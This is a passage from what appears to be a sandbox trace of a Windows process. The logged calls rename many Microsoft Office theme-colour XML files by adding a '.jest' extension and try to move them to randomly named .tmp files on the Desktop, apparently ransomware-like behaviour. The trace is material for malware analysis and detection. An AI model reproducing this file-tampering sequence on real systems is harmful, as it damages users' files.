Q9fqgOUMpHZj6YaAWS2_8QkYI_eqJAYp1iE0o4UJo4LS48GszV9VM2PG56e1ETgppVZq800YCWwOQKurYJNgofqOrFDRg65tiM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5 q9fqgoumphzj6yaaws2_8qkyi_eqjayp1ie0o4ujo4ls48gszv9vm2pg56e1etgppvzq800ycwwoqkuryjngofqorfdrg65tim.tmp")) returned 0 [0168.665] GetLastError () returned 0x2 [0168.666] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.666] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml.jest")) returned 1 [0168.669] VarBstrFromR4 (in: fltIn=0x4794591e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.23") returned 0x0 [0168.670] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hI 9Rt8Ax1FJz8YM_0yjlx_fIkYZap9jzTDNw8q3MEvcqutsqqQUrQu2DbXrE SXn87ALV Pw NO8NRktotC7re1jRpaGy_AvhtZ5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hi 9rt8ax1fjz8ym_0yjlx_fikyzap9jztdnw8q3mevcqutsqqqurqu2dbxre sxn87alv pw no8nrktotc7re1jrpagy_avhtz5.tmp")) returned 0 [0168.670] GetLastError () returned 0x2 [0168.670] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.671] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml.jest")) returned 1 [0168.673] VarBstrFromR4 (in: fltIn=0x4794591e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.23") returned 0x0 [0168.674] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CVKcBbfpWuVDAhx4E9KSnUAjvm6-wFsCqlYg2whuQQoyc5oEoEFSUqpphUwMxGYvmTyAWhTniupbnIhMhtLUsuhO-kiLL9gLhXfgX.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cvkcbbfpwuvdahx4e9ksnuajvm6-wfscqlyg2whuqqoyc5oeoefsuqpphuwmxgyvmtyawhtniupbnihmhtlusuho-kill9glhxfgx.tmp")) returned 0 [0168.674] GetLastError () returned 0x2 [0168.674] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.675] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml.jest")) returned 1 [0168.676] VarBstrFromR4 (in: fltIn=0x4794591f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.24") returned 0x0 [0168.677] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_7G8krEyhIQHnxWv0el5XcQq_TlVGj4CyVLRccp_iiHZxTj4sTY2nbbaOYUvSkcmq_ROg3xVgFWmmTh7HvplqbxRSZXU2yUFvCi9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_7g8kreyhiqhnxwv0el5xcqq_tlvgj4cyvlrccp_iihzxtj4sty2nbbaoyuvskcmq_rog3xvgfwmmth7hvplqbxrszxu2yufvci9.tmp")) returned 0 [0168.677] GetLastError () returned 0x2 [0168.678] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.678] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml.jest")) returned 1 [0168.681] VarBstrFromR4 (in: fltIn=0x4794591f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.24") returned 0x0 [0168.682] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-im9uOLm6ZwiSQVmRYVuEBxlB2zhEiD0SUUk2d8Wqm3siA0wCrkLkkXgwUzpLWVy7JbTwdj_s2wbHQJgRBy8CJhTky9oZosQWx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-im9uolm6zwisqvmryvuebxlb2zheid0suuk2d8wqm3sia0wcrklkkxgwuzplwvy7jbtwdj_s2wbhqjgrby8cjhtky9ozosqwx.tmp")) returned 0 [0168.682] GetLastError () returned 0x2 [0168.682] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.683] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml.jest")) returned 1 [0168.684] VarBstrFromR4 (in: fltIn=0x4794591f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.24") returned 0x0 [0168.685] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RbG4S4LnJFJd4SSQ_j_ELSKD oCHufk 8ne9ryvxAvi_c_eTTxIFA-6XUk_yEyLHmwcpjQFSfrV7mZSk54eZXKmssQYD4TIetGMN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rbg4s4lnjfjd4ssq_j_elskd ochufk 8ne9ryvxavi_c_ettxifa-6xuk_yeylhmwcpjqfsfrv7mzsk54ezxkmssqyd4tietgmn.tmp")) returned 0 [0168.686] GetLastError () returned 0x2 [0168.686] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.686] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml.jest")) returned 1 [0168.688] VarBstrFromR4 (in: fltIn=0x4794591f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.24") returned 0x0 [0168.690] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JQ PKP_ np_-XQEvNPzG74CsXZ2z0mIX_ia-w 0okMzx64-8X S2MYjmNMMGMnePpcuT3cu1AeszmMHYKato7iO3Pc31O9k2Ry5K3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jq pkp_ np_-xqevnpzg74csxz2z0mix_ia-w 0okmzx64-8x s2myjmnmmgmneppcut3cu1aeszmmhykato7io3pc31o9k2ry5k3.tmp")) returned 0 [0168.690] GetLastError () returned 0x2 [0168.690] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.691] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml.jest")) returned 1 [0168.693] VarBstrFromR4 (in: fltIn=0x47945922, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.27") returned 0x0 [0168.694] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MT6CIlurhZ0FFW69nxaC9_ of8rCbpSiDVVUYPHDjwyAcXAWf8r-2BbPXURC5Oyhi5Pd7 q8h0FtkksvBRgFx4n5fAVmcyueNZ_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mt6cilurhz0ffw69nxac9_ of8rcbpsidvvuyphdjwyacxawf8r-2bbpxurc5oyhi5pd7 q8h0ftkksvbrgfx4n5favmcyuenz_.tmp")) returned 0 [0168.694] GetLastError () returned 0x2 [0168.695] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.695] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml.jest")) returned 1 [0168.697] VarBstrFromR4 (in: fltIn=0x47945922, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.27") returned 0x0 [0168.698] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FE5BDEJZ1R58JTf0gCre-MqlOmVrv1j3yKLhDsmLL5IEjSRjMUtzCh6bH4ajsA2ejUHTRm5-_gqho3RY98XpV5SryHuA2qd5Igxq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fe5bdejz1r58jtf0gcre-mqlomvrv1j3yklhdsmll5iejsrjmutzch6bh4ajsa2ejuhtrm5-_gqho3ry98xpv5sryhua2qd5igxq.tmp")) returned 0 [0168.698] GetLastError () returned 0x2 [0168.699] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.699] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml.jest")) returned 1 [0168.701] VarBstrFromR4 (in: fltIn=0x47945922, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.27") returned 0x0 [0168.702] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\u8GeMI00meKSw_VKkruLnA3LdKkY KxVR9Hi80p16Q35F3KfysHd4JMTgcfenvx4mFWnadqu1n_4nn626obLoJOOChWAWyKDtv0_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\u8gemi00meksw_vkkrulna3ldkky kxvr9hi80p16q35f3kfyshd4jmtgcfenvx4mfwnadqu1n_4nn626oblojoochwawykdtv0_.tmp")) returned 0 [0168.702] GetLastError () returned 0x2 [0168.703] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.703] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml.jest")) returned 1 [0168.705] VarBstrFromR4 (in: fltIn=0x47945922, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.27") returned 0x0 [0168.706] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ynIptDfl8krqyS8LS38ux7LfdRXzvOHBVuHwb-btcRHBAcSCQr5pKT0ATsLwvI6TtYF62zsUklTTUbox8sv uCXcAqDiZNsFBZp1.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yniptdfl8krqys8ls38ux7lfdrxzvohbvuhwb-btcrhbacscqr5pkt0atslwvi6ttyf62zsuklttubox8sv ucxcaqdiznsfbzp1.tmp")) returned 0 [0168.706] GetLastError () returned 0x2 [0168.707] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.707] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml.jest")) returned 1 [0168.710] VarBstrFromR4 (in: fltIn=0x47945923, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.27") returned 0x0 [0168.711] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fQk4Qpkin_7GVgBpvUll0ztMJMZG4_DFnt9FxAnA5yU50Ty-_TmY9xIOfU9Kfy8C7dUyCVgHr5t ucmf7CKRFocMWSmkCXAXLLs0e.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fqk4qpkin_7gvgbpvull0ztmjmzg4_dfnt9fxana5yu50ty-_tmy9xiofu9kfy8c7duycvghr5t ucmf7ckrfocmwsmkcxaxlls0e.tmp")) returned 0 [0168.711] GetLastError () returned 0x2 [0168.712] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.713] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml.jest")) returned 1 [0168.715] VarBstrFromR4 (in: fltIn=0x47945923, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.27") returned 0x0 [0168.716] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZLbh6ptMQUUb0_67B6Ci8-ZOXuO-5qM0_mWmUW 25fok3LfzeaHSy3dNQWq14zgtIsivC4jgHJi36Dz8J4TLCMIW4ZZMJ_vgYaVC.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zlbh6ptmquub0_67b6ci8-zoxuo-5qm0_mwmuw 25fok3lfzeahsy3dnqwq14zgtisivc4jghji36dz8j4tlcmiw4zzmj_vgyavc.tmp")) returned 0 [0168.717] GetLastError () returned 0x2 [0168.717] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.719] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml.jest")) returned 1 [0168.722] VarBstrFromR4 (in: fltIn=0x47945923, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.27") returned 0x0 [0168.723] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LSAODPG8sojpzhMWLIwUtcbEKfdiCBD9Dk14Ouepl0HgyLWqeHkg3v2wEp_x_Wm7sLCDxqwy5N7uP334tWV7q_DOsCXwDFQPmcXD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lsaodpg8sojpzhmwliwutcbekfdicbd9dk14ouepl0hgylwqehkg3v2wep_x_wm7slcdxqwy5n7up334twv7q_doscxwdfqpmcxd.tmp")) returned 0 [0168.724] GetLastError () returned 0x2 [0168.724] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.725] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml.jest")) returned 1 [0168.727] VarBstrFromR4 (in: fltIn=0x47945926, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.3") returned 0x0 [0168.728] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ ogm2x3E7aIrA8K iGgEW2_M9WVT8QfrdRi2pKrDwGLeh6fv-vf2Fw-Vcwp3Lm3cG2B6RN_wrlzPshyvuZzfhUU__GyPF6D YBpsO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ ogm2x3e7aira8k iggew2_m9wvt8qfrdri2pkrdwgleh6fv-vf2fw-vcwp3lm3cg2b6rn_wrlzpshyvuzzfhuu__gypf6d ybpso.tmp")) returned 0 [0168.729] GetLastError () returned 0x2 [0168.729] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.730] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml.jest")) returned 1 [0168.732] VarBstrFromR4 (in: fltIn=0x47945926, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.3") returned 0x0 [0168.733] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PN8d7yaP GJY2EB7c0J4iBie80M2KTHfHvfnP_Q3T4UIFs-KfG5GG65BNRTM0cp3wWrYjV3jJytLEaixF4IUk1yDFlQdJFyuP1nHi.tmp" (normalized: "c:\\users\\5p5nrgjn0js 